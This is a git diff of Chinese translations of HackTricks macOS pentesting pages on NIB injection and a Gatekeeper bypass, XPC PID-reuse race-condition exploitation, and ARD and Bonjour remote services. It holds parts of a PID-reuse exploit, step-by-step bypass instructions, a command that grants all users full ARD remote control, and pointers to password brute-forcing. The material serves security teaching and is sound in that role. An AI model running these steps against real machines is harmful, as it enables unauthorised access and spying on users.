它们基本上**阻止在预期位置之外执行应用程序**,所以如果你将受到启动限制保护的应用程序复制到 `/tmp`,你将无法执行它。\
|
|
||||||
[**在这篇文章中找到更多信息**](../macos-security-protections/#launch-constraints)**。**
|
|
||||||
|
|
||||||
然而,解析文件 **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`** 时,你仍然可以找到**没有受到启动限制保护的应用程序**,因此你仍然可以**注入** **NIB** 文件到**那些**任意位置(查看前面的链接学习如何找到这些应用程序)。
|
|
||||||
|
|
||||||
## 额外保护
|
|
||||||
|
|
||||||
从 macOS Somona 开始,有一些保护措施**防止在应用程序内部写入**。然而,如果在运行你复制的二进制文件之前,你更改了 Contents 文件夹的名称,仍然可以绕过这个保护:
|
|
||||||
|
|
||||||
1. 将 `CarPlay Simulator.app` 的副本复制到 `/tmp/`
|
|
||||||
2. 重命名 `/tmp/Carplay Simulator.app/Contents` 为 `/tmp/CarPlay Simulator.app/NotCon`
|
|
||||||
3. 启动二进制文件 `/tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator` 以在 Gatekeeper 中缓存
|
|
||||||
4. 用我们的 `Dirty.nib` 文件覆盖 `NotCon/Resources/Base.lproj/MainMenu.nib`
|
|
||||||
5. 重命名为 `/tmp/CarPlay Simulator.app/Contents`
|
|
||||||
6. 再次启动 `CarPlay Simulator.app`
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
|
||||||
看起来这已经不再可能,因为 macOS **阻止修改** 应用程序包内的文件。\
|
|
||||||
所以,在执行应用程序以使用 Gatekeeper 缓存之后,你将无法修改包。\
|
|
||||||
如果你更改了 Contents 目录的名称为 **NotCon**(如在漏洞中所示),然后执行应用程序的主二进制文件以使用 Gatekeeper 缓存,它将**触发错误并不会执行**。
|
|
||||||
{% endhint %}
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
|
||||||
|
|
||||||
* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
|
||||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
|
||||||
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享你的黑客技巧。**
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -2,38 +2,38 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
支持 HackTricks 的其他方式:
|
||||||
|
|
||||||
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上关注我**。
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## PID 重用
|
## PID 重用
|
||||||
|
|
||||||
当 macOS **XPC 服务**基于 **PID** 而不是 **audit token** 来检查被调用进程时,它容易受到 PID 重用攻击。这种攻击基于一种 **竞态条件**,其中 **exploit** 将向 XPC 服务**发送消息**,**滥用**功能,紧接着执行 **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** 与**允许**的二进制文件。
|
当 macOS **XPC 服务**基于 **PID** 而不是 **审计令牌** 来检查调用进程时,就容易受到 PID 重用攻击的影响。这种攻击基于 **竞争条件**,其中一个 **利用程序**将会**向 XPC 服务发送消息**,**滥用**功能,然后**立即**执行 **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** 与**允许的**二进制文件。
|
||||||
|
|
||||||
这个函数将使**允许的二进制文件拥有 PID**,但**恶意 XPC 消息将在此之前发送**。因此,如果 **XPC** 服务**使用** **PID** 来**认证**发送者,并在执行 **`posix_spawn`** **之后**检查它,它会认为它来自一个**授权**的进程。
|
这个函数将使**允许的二进制文件拥有 PID**,但**恶意 XPC 消息**将在此之前发送。因此,如果 **XPC** 服务在执行 **`posix_spawn`** 之后使用 **PID** 来**验证**发送者并在**检查**之后,它会认为消息来自**授权的**进程。
|
||||||
|
|
||||||
### Exploit 示例
|
### 攻击示例
|
||||||
|
|
||||||
如果您发现函数 **`shouldAcceptNewConnection`** 或由它**调用**的函数**调用** **`processIdentifier`** 而不是调用 **`auditToken`**。这很可能意味着它正在**验证进程 PID** 而不是审计令牌。\
|
如果您发现函数 **`shouldAcceptNewConnection`** 或其调用的函数**调用** **`processIdentifier`** 而不调用 **`auditToken`**。这很可能意味着它正在**验证进程 PID** 而不是审计令牌。\
|
||||||
例如在这张图片中(取自参考资料):
|
例如,如下图所示(摘自参考资料):
|
||||||
|
|
||||||
<figure><img src="../../../../../../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../../../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
查看此示例 exploit(同样,取自参考资料)以查看 exploit 的两个部分:
|
检查此示例攻击(同样摘自参考资料)以查看攻击的两个部分:
|
||||||
|
|
||||||
* 一个**生成多个分支**
|
* 一个**生成多个 fork**
|
||||||
* **每个分支** 将在发送消息后立即执行 **`posix_spawn`**,同时**发送** **payload** 到 XPC 服务。
|
* **每个 fork** 将在发送消息后立即执行 **`posix_spawn`** 向 XPC 服务发送**有效载荷**。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
为了使 exploit 起作用,重要的是要 `export`` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** 或在 exploit 中放入:
|
为了使攻击生效,重要的是`export`` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** 或将其放入攻击中:
|
||||||
```objectivec
|
```objectivec
|
||||||
asm(".section __DATA,__objc_fork_ok\n"
|
asm(".section __DATA,__objc_fork_ok\n"
|
||||||
"empty:\n"
|
"empty:\n"
|
||||||
|
@ -43,9 +43,9 @@ asm(".section __DATA,__objc_fork_ok\n"
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="NSTasks" %}
|
{% tab title="NSTasks" %}
|
||||||
首个选项使用 **`NSTasks`** 和参数来启动子进程以利用RC
|
第一种选项是使用**`NSTasks`**和参数来启动子进程以利用RC
|
||||||
```objectivec
|
```objectivec
|
||||||
// from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
|
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
|
||||||
// gcc -framework Foundation expl.m -o expl
|
// gcc -framework Foundation expl.m -o expl
|
||||||
|
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
|
@ -152,7 +152,7 @@ return 0;
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="fork" %}
|
{% tab title="fork" %}
|
||||||
此示例使用原始的 **`fork`** 来启动**将利用 PID 竞争条件的子进程**,然后通过**硬链接**利用**另一个竞争条件:**
|
这个示例使用原始的 **`fork`** 来启动 **利用PID竞争条件的子进程**,然后通过硬链接利用 **另一个竞争条件**:
|
||||||
```objectivec
|
```objectivec
|
||||||
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
|
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
|
||||||
// gcc -framework Foundation expl.m -o expl
|
// gcc -framework Foundation expl.m -o expl
|
||||||
|
@ -285,9 +285,6 @@ pwned = true;
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% endtab %}
|
|
||||||
{% endtabs %}
|
|
||||||
|
|
||||||
## 参考资料
|
## 参考资料
|
||||||
|
|
||||||
* [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/)
|
* [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/)
|
||||||
|
@ -295,14 +292,14 @@ return 0;
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**上关注**我。
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,30 +1,30 @@
|
||||||
# macOS 网络服务与协议
|
# macOS网络服务与协议
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您希望在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## 远程访问服务
|
## 远程访问服务
|
||||||
|
|
||||||
这些是常见的 macOS 服务,用于远程访问它们。\
|
这些是常见的macOS远程访问服务。\
|
||||||
您可以在 `系统设置` --> `共享` 中启用/禁用这些服务
|
您可以在`系统偏好设置` --> `共享`中启用/禁用这些服务
|
||||||
|
|
||||||
* **VNC**,被称为“屏幕共享”(tcp:5900)
|
* **VNC**,称为“屏幕共享”(tcp:5900)
|
||||||
* **SSH**,称为“远程登录”(tcp:22)
|
* **SSH**,称为“远程登录”(tcp:22)
|
||||||
* **Apple Remote Desktop** (ARD),或“远程管理”(tcp:3283, tcp:5900)
|
* **Apple远程桌面**(ARD),或称“远程管理”(tcp:3283,tcp:5900)
|
||||||
* **AppleEvent**,被称为“远程 Apple 事件”(tcp:3031)
|
* **AppleEvent**,称为“远程Apple事件”(tcp:3031)
|
||||||
|
|
||||||
通过运行以下命令检查是否启用了任何服务:
|
运行以下命令检查是否已启用任何服务:
|
||||||
```bash
|
```bash
|
||||||
rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
|
rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
|
||||||
scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l);
|
scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l);
|
||||||
|
@ -34,75 +34,63 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l);
|
||||||
bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l);
|
bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l);
|
||||||
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
|
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
|
||||||
```
|
```
|
||||||
### ARD 渗透测试
|
### 渗透测试 ARD
|
||||||
|
|
||||||
(此部分摘自[**此博客文章**](https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html))
|
Apple 远程桌面(ARD)是针对 macOS 定制的 [虚拟网络计算(VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) 的增强版本,提供额外功能。ARD 中一个显著的漏洞是其控制屏幕密码的身份验证方法仅使用密码的前 8 个字符,容易受到[暴力破解攻击](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html)的影响,使用 Hydra 或 [GoRedShell](https://github.com/ahhh/GoRedShell/) 等工具,因为没有默认速率限制。
|
||||||
|
|
||||||
它本质上是一个带有一些**额外 macOS 特定功能**的变种 [VNC](https://en.wikipedia.org/wiki/Virtual\_Network\_Computing)。\
|
可以使用 **nmap** 的 `vnc-info` 脚本识别存在漏洞的实例。支持 `VNC Authentication (2)` 的服务特别容易受到暴力破解攻击的影响,因为密码被截断为 8 个字符。
|
||||||
然而,**屏幕共享选项**只是一个**基础 VNC**服务器。还有一个高级的 ARD 或远程管理选项,用于**设置控制屏幕密码**,这将使 ARD 向后**兼容 VNC 客户端**。但是,这种认证方法有一个弱点,它将这个**密码**限制在一个**8字符认证缓冲区**内,使得使用像 [Hydra](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) 或 [GoRedShell](https://github.com/ahhh/GoRedShell/) 这样的工具进行**暴力破解**变得非常容易(默认情况下也**没有速率限制**)。\
|
|
||||||
您可以使用 **nmap** 识别**易受攻击的屏幕共享**或远程管理实例,使用脚本 `vnc-info`,如果服务支持 `VNC Authentication (2)`,那么它们很可能**易受暴力破解攻击**。服务会将所有通过网络发送的密码截断为8个字符,这样如果您将 VNC 认证设置为 "password","passwords" 和 "password123" 都将进行认证。
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (9) (3).png" alt=""><figcaption></figcaption></figure>
|
要启用 ARD 以执行各种管理任务,如特权升级、GUI 访问或用户监控,请使用以下命令:
|
||||||
|
|
||||||
如果您想启用它以提升权限(接受 TCC 提示),通过 GUI 访问或监视用户,可以启用它:
|
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```bash
|
```bash
|
||||||
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
|
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
|
||||||
```
|
```
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
您可以在**观察**模式、**共享控制**和**完全控制**之间切换,从窥探用户到一键接管他们的桌面。此外,如果您获得ARD会话的访问权限,即使在会话期间更改了用户的密码,该会话也将保持开放状态,直到会话终止。
|
|
||||||
|
|
||||||
您还可以**直接通过ARD发送unix命令**,如果您是管理员用户,可以指定root用户以root身份执行操作。您甚至可以使用这种unix命令方法来安排在特定时间运行远程任务,但这是在指定时间作为网络连接发生的(与存储在目标服务器上并执行相比)。最后,远程Spotlight是我最喜欢的功能之一。这非常整洁,因为您可以快速且远程地运行低影响、索引搜索。这对于搜索敏感文件来说是非常有价值的,因为它快速,允许您同时在多台机器上运行搜索,并且不会导致CPU使用率激增。
|
|
||||||
|
|
||||||
## Bonjour协议
|
## Bonjour协议
|
||||||
|
|
||||||
**Bonjour**是苹果设计的技术,使得位于同一网络上的计算机和**设备能够了解其他计算机和设备提供的服务**。它的设计理念是任何支持Bonjour的设备都可以插入TCP/IP网络,并且它会**选择一个IP地址**,使网络上的其他计算机**了解它提供的服务**。Bonjour有时也被称为Rendezvous、**零配置**或Zeroconf。\
|
Bonjour是苹果设计的技术,允许**同一网络上的设备检测彼此提供的服务**。也被称为Rendezvous、**零配置**或Zeroconf,它使设备能够加入TCP/IP网络,**自动选择IP地址**,并向其他网络设备广播其服务。
|
||||||
零配置网络,如Bonjour提供:
|
|
||||||
|
|
||||||
* 必须能够**获取IP地址**(即使没有DHCP服务器)
|
由Bonjour提供的零配置网络确保设备可以:
|
||||||
* 必须能够进行**名称到地址的转换**(即使没有DNS服务器)
|
* **即使没有DHCP服务器,也能自动获取IP地址**。
|
||||||
* 必须能够**发现网络上的服务**
|
* 在不需要DNS服务器的情况下执行**名称到地址的转换**。
|
||||||
|
* **发现**网络上可用的服务。
|
||||||
|
|
||||||
设备将获得**169.254/16范围内的IP地址**,并检查是否有其他设备正在使用该IP地址。如果没有,它将保留该IP地址。Macs在其路由表中为此子网保留了一个条目:`netstat -rn | grep 169`
|
使用Bonjour的设备将从**169.254/16范围内分配给自己一个IP地址**,并验证其在网络上的唯一性。Mac会为这个子网维护一个路由表条目,可以通过`netstat -rn | grep 169`进行验证。
|
||||||
|
|
||||||
对于DNS,使用**组播DNS(mDNS)协议**。[**mDNS** **服务**监听端口**5353/UDP**](../../network-services-pentesting/5353-udp-multicast-dns-mdns.md),使用**常规DNS查询**,并使用**组播地址224.0.0.251**,而不是仅向一个IP地址发送请求。任何监听这些请求的机器都会响应,通常是向一个组播地址,这样所有设备都可以更新它们的表。\
|
对于DNS,Bonjour利用**多播DNS(mDNS)协议**。mDNS通过**端口5353/UDP**运行,使用**标准DNS查询**,但针对**多播地址224.0.0.251**。这种方法确保网络上所有监听设备都可以接收并响应查询,从而更新其记录。
|
||||||
每个设备在访问网络时都会**选择自己的名称**,设备会选择一个以.local**结尾的名称**(可能基于主机名或完全随机的一个)。
|
|
||||||
|
|
||||||
用于**发现服务的是DNS服务发现(DNS-SD)**。
|
加入网络后,每个设备会自行选择一个名称,通常以**.local**结尾,可以从主机名或随机生成的名称中派生。
|
||||||
|
|
||||||
零配置网络的最终要求是通过**DNS服务发现(DNS-SD)**来满足。DNS服务发现使用来自DNS SRV记录的语法,但使用**DNS PTR记录,以便如果有多个主机提供特定服务,则可以返回多个结果**。客户端请求`<Service>.<Domain>`名称的PTR查找,并**接收**零个或多个形式为`<Instance>.<Service>.<Domain>`的PTR记录的列表。
|
网络内的服务发现由**DNS服务发现(DNS-SD)**实现。利用DNS SRV记录的格式,DNS-SD使用**DNS PTR记录**来列出多个服务。寻找特定服务的客户端将请求`<Service>.<Domain>`的PTR记录,如果服务在多个主机上可用,则会收到格式为`<Instance>.<Service>.<Domain>`的PTR记录列表。
|
||||||
|
|
||||||
`dns-sd`二进制文件可用于**宣传服务和执行服务查找**:
|
`dns-sd`实用程序可用于**发现和广告网络服务**。以下是一些示例用法:
|
||||||
|
|
||||||
|
### 搜索SSH服务
|
||||||
|
|
||||||
|
要在网络上搜索SSH服务,请使用以下命令:
|
||||||
```bash
|
```bash
|
||||||
#Search ssh services
|
|
||||||
dns-sd -B _ssh._tcp
|
dns-sd -B _ssh._tcp
|
||||||
|
|
||||||
Browsing for _ssh._tcp
|
|
||||||
DATE: ---Tue 27 Jul 2021---
|
|
||||||
12:23:20.361 ...STARTING...
|
|
||||||
Timestamp A/R Flags if Domain Service Type Instance Name
|
|
||||||
12:23:20.362 Add 3 1 local. _ssh._tcp. M-C02C934RMD6R
|
|
||||||
12:23:20.362 Add 3 10 local. _ssh._tcp. M-C02C934RMD6R
|
|
||||||
12:23:20.362 Add 2 16 local. _ssh._tcp. M-C02C934RMD6R
|
|
||||||
```
|
```
|
||||||
|
这个命令启动了对_ssh._tcp服务的浏览,并输出时间戳、标志、接口、域、服务类型和实例名称等详细信息。
|
||||||
|
|
||||||
|
### 广告一个HTTP服务
|
||||||
|
|
||||||
|
要广告一个HTTP服务,你可以使用:
|
||||||
```bash
|
```bash
|
||||||
#Announce HTTP service
|
|
||||||
dns-sd -R "Index" _http._tcp . 80 path=/index.html
|
dns-sd -R "Index" _http._tcp . 80 path=/index.html
|
||||||
|
```
|
||||||
|
这个命令在端口80上注册了一个名为"Index"的HTTP服务,路径为`/index.html`。
|
||||||
|
|
||||||
#Search HTTP services
|
要在网络上搜索HTTP服务:
|
||||||
|
```bash
|
||||||
dns-sd -B _http._tcp
|
dns-sd -B _http._tcp
|
||||||
```
|
```
|
||||||
当启动新服务时,**新服务会向子网上的所有人广播其存在**。监听者不需要提问;它只需要在监听。
|
当服务启动时,它通过多播向子网上的所有设备宣布其可用性。对这些服务感兴趣的设备无需发送请求,只需监听这些公告。
|
||||||
|
|
||||||
您可以使用[**此工具**](https://apps.apple.com/us/app/discovery-dns-sd-browser/id1381004916?mt=12)来查看当前本地网络中的**提供的服务**。\
|
为了提供更用户友好的界面,可在Apple App Store上获取的****Discovery - DNS-SD Browser** 应用程序可以可视化本地网络上提供的服务。
|
||||||
或者您可以使用[**python-zeroconf**](https://github.com/jstasiak/python-zeroconf)编写自己的python脚本:
|
|
||||||
|
或者,可以编写自定义脚本来使用`python-zeroconf`库浏览和发现服务。[**python-zeroconf**](https://github.com/jstasiak/python-zeroconf)脚本演示了为`_http._tcp.local.`服务创建服务浏览器,并打印已添加或已移除的服务:
|
||||||
```python
|
```python
|
||||||
from zeroconf import ServiceBrowser, Zeroconf
|
from zeroconf import ServiceBrowser, Zeroconf
|
||||||
|
|
||||||
|
|
||||||
class MyListener:
|
class MyListener:
|
||||||
|
|
||||||
def remove_service(self, zeroconf, type, name):
|
def remove_service(self, zeroconf, type, name):
|
||||||
|
@ -112,7 +100,6 @@ def add_service(self, zeroconf, type, name):
|
||||||
info = zeroconf.get_service_info(type, name)
|
info = zeroconf.get_service_info(type, name)
|
||||||
print("Service %s added, service info: %s" % (name, info))
|
print("Service %s added, service info: %s" % (name, info))
|
||||||
|
|
||||||
|
|
||||||
zeroconf = Zeroconf()
|
zeroconf = Zeroconf()
|
||||||
listener = MyListener()
|
listener = MyListener()
|
||||||
browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener)
|
browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener)
|
||||||
|
@ -121,26 +108,27 @@ input("Press enter to exit...\n\n")
|
||||||
finally:
|
finally:
|
||||||
zeroconf.close()
|
zeroconf.close()
|
||||||
```
|
```
|
||||||
如果您认为关闭Bonjour可能会更安全,您可以使用以下命令来禁用它:
|
### 禁用Bonjour
|
||||||
|
如果出于安全或其他原因需要禁用Bonjour,则可以使用以下命令关闭:
|
||||||
```bash
|
```bash
|
||||||
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
|
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
|
||||||
```
|
```
|
||||||
## 参考资料
|
## 参考资料
|
||||||
|
|
||||||
* [**Mac 黑客手册**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
||||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||||
* [**https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html**](https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html)
|
* [**https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html**](https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
其他支持 HackTricks 的方式:
|
